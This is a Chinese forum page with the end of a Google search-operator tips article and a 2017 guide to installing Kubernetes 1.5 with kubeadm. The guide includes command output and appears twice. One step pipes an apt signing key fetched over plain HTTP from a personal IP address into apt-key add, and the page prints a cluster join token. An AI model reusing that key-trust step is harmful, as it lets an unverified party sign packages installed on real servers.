allintitle:搜索返回的是页面标题中包含多组关键词的文件。例如 :allintitle:zabbix docker,就相当于:intitle:zabbix intitle:docker,返回的是标题中中既包含“zabbix”,也包含“docker”的页面,显著提高搜索命中率。
allintitle.png


11、allinurl


与allintitle: 类似,allinurl:zabbix hadoop,就相当于 :inurl:zabbix inurl:hadoop 
allinurl.png


12、site站内搜索


绝大部分网站的搜索功能都有所欠缺,因此,更好的方法是通过 Google 等搜索引擎对站内的信息进行搜索。

你只需要在搜索引擎上输入「site:openskill.cn」加上关键词,搜索引擎就会反馈网站「openskill.cn」内和关键词相关的所有条目。如果再结合准确搜索功能,这项功能将会变得更加强大。
site.png


13、filetype


用于搜索特定文件格式。Google 和bd都支持filetype指令。 比如搜索filetype:pdf docker 返回的就是包含SEO 这个关键词的所有pdf 文件。 
filetype.png


14、搜索相关网站


查找与您已浏览过的网址类似的网站, 例如,你仅需在搜索引擎中输入「related:openskill.cn」即可得到所有和「openskill.cn」相关的网站反馈结果。
relate.png


15、搜索技能的组合使用


你可以对上述所有搜索技能进行组合运用,以便按照自己的意愿缩小或者扩展搜索范围。尽管有些技能或许并不常用,但准确搜索和站内搜索这些技能的使用范围还是相当广泛的。
union.png


其他技巧


other.png

随着 Google 等搜索引擎对于用户自然语言的理解程度与日俱增,这些搜索技能可以派上用场的情况或许将会变得越来越少,至少这是所有搜索引擎共同追求的目标。但是在当下,掌握这些搜索技能还是非常必要的。

参考:http://www.cnblogs.com/feiyuhuo/p/5398238.html http://blog.jobbole.com/72211/ 

使用Kubeadm安装Kubernetes1.5版本

大数据/云计算Not see︶ 发表了文章 • 2 个评论 • 106 次浏览 • 2017-01-11 18:52 • 来自相关话题

1、下载说需要的包都得在墙外,需要翻墙。 但服务器上总不能提供这种便利。 比较麻烦。 两种办法,一种是绑定hosts  由于Kubernetes 编译的各种发行版安装包来源于 Github 上的另一个叫 release 的项目,把这个项目 clone 下来,  

可以参考漠然的文章: https://mritd.me/2016/10/29/set-up-kubernetes-cluster-by-kubeadm/
 
2、我是用的方法 是通过hosts绑定, 然后通过打包到源码,下次直接使用
使用Kubeadm安装Kubernetes1.5版本

1、系统版本:ubuntu16.04

root@master:~# docker version

Client:

Version: 1.12.1

API version: 1.24

Go version: go1.6.2

Git commit: 23cf638

Built: Tue, 27 Sep 2016 12:25:38 +1300

OS/Arch: linux/amd64



Server:

Version: 1.12.1

API version: 1.24

Go version: go1.6.2

Git commit: 23cf638

Built: Tue, 27 Sep 2016 12:25:38 +1300

OS/Arch: linux/amd64





1、部署前提条件

每台主机上面至少1G内存。

所有主机之间网络可达。



2、部署:

在主机上安装kubelet和kubeadm

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -

主机master上操作如下:

cat <<EOF >/etc/apt/sources.list.d/kubernetes.list

deb http://apt.kubernetes.io/ kubernetes-xenial main

EOF

apt-get update

apt-get install -y docker.io

apt-get install -y kubelet kubeadm kubectl kubernetes-cni

下载后的kube组件并未自动运行起来。在 /lib/systemd/system下面我们能看到kubelet.service

root@master:~# ls /lib/systemd/system |grep kube

kubelet.service

kubelet的版本:

root@master:~# kubelet --version

Kubernetes v1.5.1

k8s的核心组件都有了,接下来我们就要boostrap kubernetes cluster了。

3、初始化集群

理论上通过kubeadm使用init和join命令即可建立一个集群,这init就是在master节点对集群进行初始化。和k8s 1.4之前的部署方式不同的是,

kubeadm安装的k8s核心组件都是以容器的形式运行于master node上的。因此在kubeadm init之前,最好给master node上的docker engine挂上加速器代理,

因为kubeadm要从gcr.io/google_containers repository中pull许多核心组件的images


在Kubeadm的文档中,Pod Network的安装是作为一个单独的步骤的。kubeadm init并没有为你选择一个默认的Pod network进行安装。

我们将首选Flannel 作为我们的Pod network,这不仅是因为我们的上一个集群用的就是flannel,而且表现稳定。

更是由于Flannel就是coreos为k8s打造的专属overlay network add-ons。甚至于flannel repository的readme.md都这样写着:“flannel is a network fabric for containers, designed for Kubernetes”。

如果我们要使用Flannel,那么在执行init时,按照kubeadm文档要求,我们必须给init命令带上option:–pod-network-cidr=10.244.0.0/16。


4、执行kubeadm init

执行kubeadm init命令:

root@master:~# kubeadm init --pod-network-cidr=10.244.0.0/16

[kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters.

[preflight] Running pre-flight checks

[preflight] Starting the kubelet service

[init] Using Kubernetes version: v1.5.1

[tokens] Generated token: "2909ca.c0b0772a8817f9e3"

[certificates] Generated Certificate Authority key and certificate.

[certificates] Generated API Server key and certificate

[certificates] Generated Service Account signing keys

[certificates] Created keys and certificates in "/etc/kubernetes/pki"

[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/kubelet.conf"

[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/admin.conf"

[apiclient] Created API client, waiting for the control plane to become ready

[apiclient] All control plane components are healthy after 14.761716 seconds

[apiclient] Waiting for at least one node to register and become ready

[apiclient] First node is ready after 1.003312 seconds

[apiclient] Creating a test deployment

[apiclient] Test deployment succeeded

[token-discovery] Created the kube-discovery deployment, waiting for it to become ready

[token-discovery] kube-discovery is ready after 1.002402 seconds

[addons] Created essential addon: kube-proxy

[addons] Created essential addon: kube-dns



Your Kubernetes master has initialized successfully!



You should now deploy a pod network to the cluster.

Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:

http://kubernetes.io/docs/admin/addons/



You can now join any number of machines by running the following on each node:



kubeadm join --token=2909ca.c0b0772a8817f9e3 xxx.xxx.xxx.xxx (ip记下)



init成功后的master node有啥变化?k8s的核心组件均正常启动:

root@master:~# ps -ef |grep kube

root 23817 1 2 14:07 ? 00:00:35 /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local

root 23921 23900 0 14:07 ? 00:00:01 kube-scheduler --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080

root 24055 24036 0 14:07 ? 00:00:10 kube-apiserver --insecure-bind-address=127.0.0.1 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,PersistentVolumeLabel,DefaultStorageClass,ResourceQuota --service-cluster-ip-range=10.96.0.0/12 --service-account-key-file=/etc/kubernetes/pki/apiserver-key.pem --client-ca-file=/etc/kubernetes/pki/ca.pem --tls-cert-file=/etc/kubernetes/pki/apiserver.pem --tls-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --token-auth-file=/etc/kubernetes/pki/tokens.csv --secure-port=6443 --allow-privileged --advertise-address=master的ip --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname --anonymous-auth=false --etcd-servers=http://127.0.0.1:2379

root 24084 24070 0 14:07 ? 00:00:11 kube-controller-manager --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080 --cluster-name=kubernetes --root-ca-file=/etc/kubernetes/pki/ca.pem --service-account-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --cluster-signing-cert-file=/etc/kubernetes/pki/ca.pem --cluster-signing-key-file=/etc/kubernetes/pki/ca-key.pem --insecure-experimental-approve-all-kubelet-csrs-for-group=system:kubelet-bootstrap --allocate-node-cidrs=true --cluster-cidr=10.244.0.0/16

root 24242 24227 0 14:07 ? 00:00:00 /usr/local/bin/kube-discovery

root 24308 24293 1 14:07 ? 00:00:15 kube-proxy --kubeconfig=/run/kubeconfig

root 29457 29441 0 14:09 ? 00:00:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr

root 29498 29481 0 14:09 ? 00:00:00 /bin/sh -c set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done

root 30372 30357 0 14:10 ? 00:00:01 /exechealthz --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1 >/dev/null --url=/healthz-dnsmasq --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1:10053 >/dev/null --url=/healthz-kubedns --port=8080 --quiet

root 30682 30667 0 14:10 ? 00:00:01 /kube-dns --domain=cluster.local --dns-port=10053 --config-map=kube-dns --v=2

root 48755 1796 0 14:31 pts/0 00:00:00 grep --color=auto kube



而且以多cotainer的形式启动

root@master:~# docker ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

c4209b1077d2 gcr.io/google_containers/kubedns-amd64:1.9 "/kube-dns --domain=c" 22 minutes ago Up 22 minutes k8s_kube-dns.61e5a20f_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_fc02f762

0908d6398b0b gcr.io/google_containers/exechealthz-amd64:1.2 "/exechealthz '--cmd=" 22 minutes ago Up 22 minutes k8s_healthz.9d343f54_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_0ee806f6

0e35e96ca4ac gcr.io/google_containers/dnsmasq-metrics-amd64:1.0 "/dnsmasq-metrics --v" 22 minutes ago Up 22 minutes k8s_dnsmasq-metrics.2bb05ef7_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_436b9370

3921b4e59aca gcr.io/google_containers/kube-dnsmasq-amd64:1.4 "/usr/sbin/dnsmasq --" 22 minutes ago Up 22 minutes k8s_dnsmasq.f7e18a01_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_06c5efa7

18513413ba60 gcr.io/google_containers/pause-amd64:3.0 "/pause" 22 minutes ago Up 22 minutes k8s_POD.d8dbe16c_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_9de0a18d

45132c8d6d3d quay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64 "/bin/sh -c 'set -e -" 23 minutes ago Up 23 minutes k8s_install-cni.fc218cef_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_88dffd75

4c2a2e46c808 quay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64 "/opt/bin/flanneld --" 23 minutes ago Up 23 minutes k8s_kube-flannel.5fdd90ba_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_2706c3cb

ad08c8dd177c gcr.io/google_containers/pause-amd64:3.0 "/pause" 23 minutes ago Up 23 minutes k8s_POD.d8dbe16c_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_279d8436

847f00759977 gcr.io/google_containers/kube-proxy-amd64:v1.5.1 "kube-proxy --kubecon" 24 minutes ago Up 24 minutes k8s_kube-proxy.2f62b4e5_kube-proxy-9c0bf_kube-system_f5326252-d631-11e6-9d86-0050569c3e9b_c1f31904

f8da0f38f3e1 gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_kube-proxy-9c0bf_kube-system_f5326252-d631-11e6-9d86-0050569c3e9b_c340d947

c1efa29640d1 gcr.io/google_containers/kube-discovery-amd64:1.0 "/usr/local/bin/kube-" 24 minutes ago Up 24 minutes k8s_kube-discovery.6907cb07_kube-discovery-1769846148-4rsq9_kube-system_f49933be-d631-11e6-9d86-0050569c3e9b_c4827da2

4c6a646d0b2e gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_kube-discovery-1769846148-4rsq9_kube-system_f49933be-d631-11e6-9d86-0050569c3e9b_8823b66a

ece79181f177 gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_dummy.702d1bd5_dummy-2088944543-r2mw3_kube-system_f38f3ede-d631-11e6-9d86-0050569c3e9b_ade728ba

9c3364c623df gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_dummy-2088944543-r2mw3_kube-system_f38f3ede-d631-11e6-9d86-0050569c3e9b_838c58b5

a64a3363a82b gcr.io/google_containers/kube-controller-manager-amd64:v1.5.1 "kube-controller-mana" 25 minutes ago Up 25 minutes k8s_kube-controller-manager.84edb2e5_kube-controller-manager-master_kube-system_7b7c15f8228e3413d3b0d0bad799b1ea_697ef6ee

27625502c298 gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 "kube-apiserver --ins" 25 minutes ago Up 25 minutes k8s_kube-apiserver.5942f3e3_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_38a83844

5b2cc5cb9ac1 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-controller-manager-master_kube-system_7b7c15f8228e3413d3b0d0bad799b1ea_2f88a796

e12ef7b3c1f0 gcr.io/google_containers/etcd-amd64:3.0.14-kubeadm "etcd --listen-client" 25 minutes ago Up 25 minutes k8s_etcd.c323986f_etcd-master_kube-system_3a26566bb004c61cd05382212e3f978f_ef6eb513

84a731cbce18 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_a3a2ea4e

612b021457a1 gcr.io/google_containers/kube-scheduler-amd64:v1.5.1 "kube-scheduler --add" 25 minutes ago Up 25 minutes k8s_kube-scheduler.bb7d750_kube-scheduler-master_kube-system_0545c2e223307b5ab8c74b0ffed56ac7_a49fab86

ac0d8698f79f gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_etcd-master_kube-system_3a26566bb004c61cd05382212e3f978f_9a6b7925

2a16a2217bf3 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-scheduler-master_kube-system_0545c2e223307b5ab8c74b0ffed56ac7_d2b51317





kube-apiserver的IP是host ip,从而推断容器使用的是host网络,这从其对应的pause容器的network属性就可以看出:



root@master:~# docker ps |grep apiserver

27625502c298 gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 "kube-apiserver --ins" 26 minutes ago Up 26 minutes k8s_kube-apiserver.5942f3e3_kubeapiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_38a83844

84a731cbce18 gcr.io/google_containers/pause-amd64:3.0 "/pause" 26 minutes ago Up 26 minutes k8s_POD.d8dbe16c_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_a3a2ea4e



问题一、

如果kubeadm init执行过程中途出现了什么问题,比如前期忘记挂加速器导致init hang住,你可能会ctrl+c退出init执行。重新配置后,再执行kubeadm init,这时你可能会遇到下面kubeadm的输出:

# kubeadm init --pod-network-cidr=10.244.0.0/16

[kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters.

[preflight] Running pre-flight checks

[preflight] Some fatal errors occurred:

Port 10250 is in use

/etc/kubernetes/manifests is not empty

/etc/kubernetes/pki is not empty

/var/lib/kubelet is not empty

/etc/kubernetes/admin.conf already exists

/etc/kubernetes/kubelet.conf already exists

[preflight] If you know what you are doing, you can skip pre-flight checks with `--skip-preflight-checks`



kubeadm会自动检查当前环境是否有上次命令执行的“残留”。如果有,必须清理后再行执行init。我们可以通过”kubeadm reset”来清理环境,以备重来。



# kubeadm reset

[preflight] Running pre-flight checks

[reset] Draining node: "iz25beglnhtz"

[reset] Removing node: "iz25beglnhtz"

[reset] Stopping the kubelet service

[reset] Unmounting mounted directories in "/var/lib/kubelet"

[reset] Removing kubernetes-managed containers

[reset] Deleting contents of stateful directories: [/var/lib/kubelet /etc/cni/net.d /var/lib/etcd]

[reset] Deleting contents of config directories: [/etc/kubernetes/manifests /etc/kubernetes/pki]

[reset] Deleting files: [/etc/kubernetes/admin.conf /etc/kubernetes/kubelet.conf]





5、要使用Flannel网络,因此我们需要执行如下安装命令:

#kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml

configmap "kube-flannel-cfg" created

daemonset "kube-flannel-ds" created



需要稍等几秒钟,我们再来看master node上的cluster信息:

root@master:~# ps -ef |grep kube |grep flannel

root 29457 29441 0 14:09 ? 00:00:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr

root 29498 29481 0 14:09 ? 00:00:00 /bin/sh -c set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done



root@master:~# kubectl get pods --all-namespaces

NAMESPACE NAME READY STATUS RESTARTS AGE

kube-system dummy-2088944543-r2mw3 1/1 Running 0 30m

kube-system etcd-master 1/1 Running 0 31m

kube-system kube-apiserver-master 1/1 Running 0 31m

kube-system kube-controller-manager-master 1/1 Running 0 31m

kube-system kube-discovery-1769846148-4rsq9 1/1 Running 0 30m

kube-system kube-dns-2924299975-txh1v 4/4 Running 0 30m

kube-system kube-flannel-ds-0fnxc 2/2 Running 0 29m

kube-system kube-flannel-ds-lpgpv 2/2 Running 0 23m

kube-system kube-flannel-ds-s05nr 2/2 Running 0 18m

kube-system kube-proxy-9c0bf 1/1 Running 0 30m

kube-system kube-proxy-t8hxr 1/1 Running 0 18m

kube-system kube-proxy-zd0v2 1/1 Running 0 23m

kube-system kube-scheduler-master 1/1 Running 0 31m



至少集群的核心组件已经全部run起来了。看起来似乎是成功了。





接下来开始node下的操作



6、minion node:join the cluster



这里我们用到了kubeadm的第二个命令:kubeadm join。



在minion node上执行(注意:这里要保证master node的9898端口在防火墙是打开的):

前提node下需要有上面安装的kube组建

7、安装kubelet和kubeadm

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -

我是用的是

http://119.29.98.145:8070/zhi/apt-key.gpg



主机master上操作如下:



curl -s http://119.29.98.145:8070/zhi/apt-key.gpg | apt-key add -



cat <<EOF >/etc/apt/sources.list.d/kubernetes.list



deb http://apt.kubernetes.io/ kubernetes-xenial main



EOF



apt-get update



apt-get install -y docker.io

apt-get install -y kubelet kubeadm kubectl kubernetes-cni

记住master的token

root@node01:~# kubeadm join --token=2909ca.c0b0772a8817f9e3 xxx.xxx.xxx.xxx(ip)

8、在master node上查看当前cluster状态:

root@master:~# kubectl get node

NAME STATUS AGE

master Ready,master 59m

node01 Ready 51m

node02 Ready 46m 查看全部
1、下载说需要的包都得在墙外,需要翻墙。 但服务器上总不能提供这种便利。 比较麻烦。 两种办法,一种是绑定hosts  由于Kubernetes 编译的各种发行版安装包来源于 Github 上的另一个叫 release 的项目,把这个项目 clone 下来,  

可以参考漠然的文章: https://mritd.me/2016/10/29/set-up-kubernetes-cluster-by-kubeadm/
 
2、我是用的方法 是通过hosts绑定, 然后通过打包到源码,下次直接使用
使用Kubeadm安装Kubernetes1.5版本

1、系统版本:ubuntu16.04

root@master:~# docker version

Client:

Version: 1.12.1

API version: 1.24

Go version: go1.6.2

Git commit: 23cf638

Built: Tue, 27 Sep 2016 12:25:38 +1300

OS/Arch: linux/amd64



Server:

Version: 1.12.1

API version: 1.24

Go version: go1.6.2

Git commit: 23cf638

Built: Tue, 27 Sep 2016 12:25:38 +1300

OS/Arch: linux/amd64





1、部署前提条件

每台主机上面至少1G内存。

所有主机之间网络可达。



2、部署:

在主机上安装kubelet和kubeadm

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -

主机master上操作如下:

cat <<EOF >/etc/apt/sources.list.d/kubernetes.list

deb http://apt.kubernetes.io/ kubernetes-xenial main

EOF

apt-get update

apt-get install -y docker.io

apt-get install -y kubelet kubeadm kubectl kubernetes-cni

下载后的kube组件并未自动运行起来。在 /lib/systemd/system下面我们能看到kubelet.service

root@master:~# ls /lib/systemd/system |grep kube

kubelet.service

kubelet的版本:

root@master:~# kubelet --version

Kubernetes v1.5.1

k8s的核心组件都有了,接下来我们就要boostrap kubernetes cluster了。

3、初始化集群

理论上通过kubeadm使用init和join命令即可建立一个集群,这init就是在master节点对集群进行初始化。和k8s 1.4之前的部署方式不同的是,

kubeadm安装的k8s核心组件都是以容器的形式运行于master node上的。因此在kubeadm init之前,最好给master node上的docker engine挂上加速器代理,

因为kubeadm要从gcr.io/google_containers repository中pull许多核心组件的images


在Kubeadm的文档中,Pod Network的安装是作为一个单独的步骤的。kubeadm init并没有为你选择一个默认的Pod network进行安装。

我们将首选Flannel 作为我们的Pod network,这不仅是因为我们的上一个集群用的就是flannel,而且表现稳定。

更是由于Flannel就是coreos为k8s打造的专属overlay network add-ons。甚至于flannel repository的readme.md都这样写着:“flannel is a network fabric for containers, designed for Kubernetes”。

如果我们要使用Flannel,那么在执行init时,按照kubeadm文档要求,我们必须给init命令带上option:–pod-network-cidr=10.244.0.0/16。


4、执行kubeadm init

执行kubeadm init命令:

root@master:~# kubeadm init --pod-network-cidr=10.244.0.0/16

[kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters.

[preflight] Running pre-flight checks

[preflight] Starting the kubelet service

[init] Using Kubernetes version: v1.5.1

[tokens] Generated token: "2909ca.c0b0772a8817f9e3"

[certificates] Generated Certificate Authority key and certificate.

[certificates] Generated API Server key and certificate

[certificates] Generated Service Account signing keys

[certificates] Created keys and certificates in "/etc/kubernetes/pki"

[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/kubelet.conf"

[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/admin.conf"

[apiclient] Created API client, waiting for the control plane to become ready

[apiclient] All control plane components are healthy after 14.761716 seconds

[apiclient] Waiting for at least one node to register and become ready

[apiclient] First node is ready after 1.003312 seconds

[apiclient] Creating a test deployment

[apiclient] Test deployment succeeded

[token-discovery] Created the kube-discovery deployment, waiting for it to become ready

[token-discovery] kube-discovery is ready after 1.002402 seconds

[addons] Created essential addon: kube-proxy

[addons] Created essential addon: kube-dns



Your Kubernetes master has initialized successfully!



You should now deploy a pod network to the cluster.

Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:

http://kubernetes.io/docs/admin/addons/



You can now join any number of machines by running the following on each node:



kubeadm join --token=2909ca.c0b0772a8817f9e3 xxx.xxx.xxx.xxx (ip记下)



init成功后的master node有啥变化?k8s的核心组件均正常启动:

root@master:~# ps -ef |grep kube

root 23817 1 2 14:07 ? 00:00:35 /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local

root 23921 23900 0 14:07 ? 00:00:01 kube-scheduler --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080

root 24055 24036 0 14:07 ? 00:00:10 kube-apiserver --insecure-bind-address=127.0.0.1 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,PersistentVolumeLabel,DefaultStorageClass,ResourceQuota --service-cluster-ip-range=10.96.0.0/12 --service-account-key-file=/etc/kubernetes/pki/apiserver-key.pem --client-ca-file=/etc/kubernetes/pki/ca.pem --tls-cert-file=/etc/kubernetes/pki/apiserver.pem --tls-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --token-auth-file=/etc/kubernetes/pki/tokens.csv --secure-port=6443 --allow-privileged --advertise-address=master的ip --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname --anonymous-auth=false --etcd-servers=http://127.0.0.1:2379

root 24084 24070 0 14:07 ? 00:00:11 kube-controller-manager --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080 --cluster-name=kubernetes --root-ca-file=/etc/kubernetes/pki/ca.pem --service-account-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --cluster-signing-cert-file=/etc/kubernetes/pki/ca.pem --cluster-signing-key-file=/etc/kubernetes/pki/ca-key.pem --insecure-experimental-approve-all-kubelet-csrs-for-group=system:kubelet-bootstrap --allocate-node-cidrs=true --cluster-cidr=10.244.0.0/16

root 24242 24227 0 14:07 ? 00:00:00 /usr/local/bin/kube-discovery

root 24308 24293 1 14:07 ? 00:00:15 kube-proxy --kubeconfig=/run/kubeconfig

root 29457 29441 0 14:09 ? 00:00:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr

root 29498 29481 0 14:09 ? 00:00:00 /bin/sh -c set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done

root 30372 30357 0 14:10 ? 00:00:01 /exechealthz --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1 >/dev/null --url=/healthz-dnsmasq --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1:10053 >/dev/null --url=/healthz-kubedns --port=8080 --quiet

root 30682 30667 0 14:10 ? 00:00:01 /kube-dns --domain=cluster.local --dns-port=10053 --config-map=kube-dns --v=2

root 48755 1796 0 14:31 pts/0 00:00:00 grep --color=auto kube



而且以多cotainer的形式启动

root@master:~# docker ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

c4209b1077d2 gcr.io/google_containers/kubedns-amd64:1.9 "/kube-dns --domain=c" 22 minutes ago Up 22 minutes k8s_kube-dns.61e5a20f_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_fc02f762

0908d6398b0b gcr.io/google_containers/exechealthz-amd64:1.2 "/exechealthz '--cmd=" 22 minutes ago Up 22 minutes k8s_healthz.9d343f54_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_0ee806f6

0e35e96ca4ac gcr.io/google_containers/dnsmasq-metrics-amd64:1.0 "/dnsmasq-metrics --v" 22 minutes ago Up 22 minutes k8s_dnsmasq-metrics.2bb05ef7_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_436b9370

3921b4e59aca gcr.io/google_containers/kube-dnsmasq-amd64:1.4 "/usr/sbin/dnsmasq --" 22 minutes ago Up 22 minutes k8s_dnsmasq.f7e18a01_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_06c5efa7

18513413ba60 gcr.io/google_containers/pause-amd64:3.0 "/pause" 22 minutes ago Up 22 minutes k8s_POD.d8dbe16c_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_9de0a18d

45132c8d6d3d quay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64 "/bin/sh -c 'set -e -" 23 minutes ago Up 23 minutes k8s_install-cni.fc218cef_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_88dffd75

4c2a2e46c808 quay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64 "/opt/bin/flanneld --" 23 minutes ago Up 23 minutes k8s_kube-flannel.5fdd90ba_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_2706c3cb

ad08c8dd177c gcr.io/google_containers/pause-amd64:3.0 "/pause" 23 minutes ago Up 23 minutes k8s_POD.d8dbe16c_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_279d8436

847f00759977 gcr.io/google_containers/kube-proxy-amd64:v1.5.1 "kube-proxy --kubecon" 24 minutes ago Up 24 minutes k8s_kube-proxy.2f62b4e5_kube-proxy-9c0bf_kube-system_f5326252-d631-11e6-9d86-0050569c3e9b_c1f31904

f8da0f38f3e1 gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_kube-proxy-9c0bf_kube-system_f5326252-d631-11e6-9d86-0050569c3e9b_c340d947

c1efa29640d1 gcr.io/google_containers/kube-discovery-amd64:1.0 "/usr/local/bin/kube-" 24 minutes ago Up 24 minutes k8s_kube-discovery.6907cb07_kube-discovery-1769846148-4rsq9_kube-system_f49933be-d631-11e6-9d86-0050569c3e9b_c4827da2

4c6a646d0b2e gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_kube-discovery-1769846148-4rsq9_kube-system_f49933be-d631-11e6-9d86-0050569c3e9b_8823b66a

ece79181f177 gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_dummy.702d1bd5_dummy-2088944543-r2mw3_kube-system_f38f3ede-d631-11e6-9d86-0050569c3e9b_ade728ba

9c3364c623df gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_dummy-2088944543-r2mw3_kube-system_f38f3ede-d631-11e6-9d86-0050569c3e9b_838c58b5

a64a3363a82b gcr.io/google_containers/kube-controller-manager-amd64:v1.5.1 "kube-controller-mana" 25 minutes ago Up 25 minutes k8s_kube-controller-manager.84edb2e5_kube-controller-manager-master_kube-system_7b7c15f8228e3413d3b0d0bad799b1ea_697ef6ee

27625502c298 gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 "kube-apiserver --ins" 25 minutes ago Up 25 minutes k8s_kube-apiserver.5942f3e3_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_38a83844

5b2cc5cb9ac1 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-controller-manager-master_kube-system_7b7c15f8228e3413d3b0d0bad799b1ea_2f88a796

e12ef7b3c1f0 gcr.io/google_containers/etcd-amd64:3.0.14-kubeadm "etcd --listen-client" 25 minutes ago Up 25 minutes k8s_etcd.c323986f_etcd-master_kube-system_3a26566bb004c61cd05382212e3f978f_ef6eb513

